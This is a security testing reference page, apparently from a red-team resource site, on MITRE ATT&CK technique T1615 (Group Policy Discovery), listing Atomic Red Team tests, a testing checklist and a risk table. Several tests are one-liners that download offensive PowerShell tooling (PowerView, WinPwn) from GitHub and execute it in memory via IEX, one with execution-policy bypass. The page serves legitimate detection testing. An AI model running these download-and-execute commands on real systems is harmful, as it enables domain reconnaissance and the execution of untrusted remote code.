cyberstrikeus T1615 Group Policy Discovery
High-Level Description
Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.
Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings. Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain or Tenant Policy Modification) for their benefit.
Kill Chain Phase
- Discovery (TA0007)
Platforms: Windows
What to Check
- Identify if Group Policy Discovery technique is applicable to target environment
- Check Windows systems for indicators of Group Policy Discovery
- Assess detection coverage (1 detection strategies)
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Display group policy information via gpresult
Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/ Turla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
Supported Platforms: windows
gpresult /z
Atomic Test 2: Get-DomainGPO to display group policy information via PowerView
Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.
Supported Platforms: windows Elevation Required: Yes
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO"
Atomic Test 3: WinPwn - GPOAudit
Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn
Supported Platforms: windows
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPOAudit -noninteractive -consoleoutput
Atomic Test 4: WinPwn - GPORemoteAccessPolicy
Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn
Supported Platforms: windows
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPORemoteAccessPolicy -consoleoutput -noninteractive
Atomic Test 5: MSFT Get-GPO Cmdlet
The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps
Supported Platforms: windows Elevation Required: Yes
Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}
Dependencies:
- Add Rsat.ActiveDirectory.DS
- Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed for this to work on Win10, WinServer 2019 works by default. This will take a long time (almost 2 minutes) to install RSAT Manually###.
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Group Policy Discovery by examining the target platforms (Windows).
Assess Existing Defenses: Review whether mitigations for T1615 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
No specific mitigations documented for this technique.
Detection
Detection strategy for Group Policy Discovery on Windows
Risk Assessment
| Finding | Severity | Impact |
|---|---|---|
| Group Policy Discovery technique applicable | High | Discovery |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-200 | Exposure of Sensitive Information |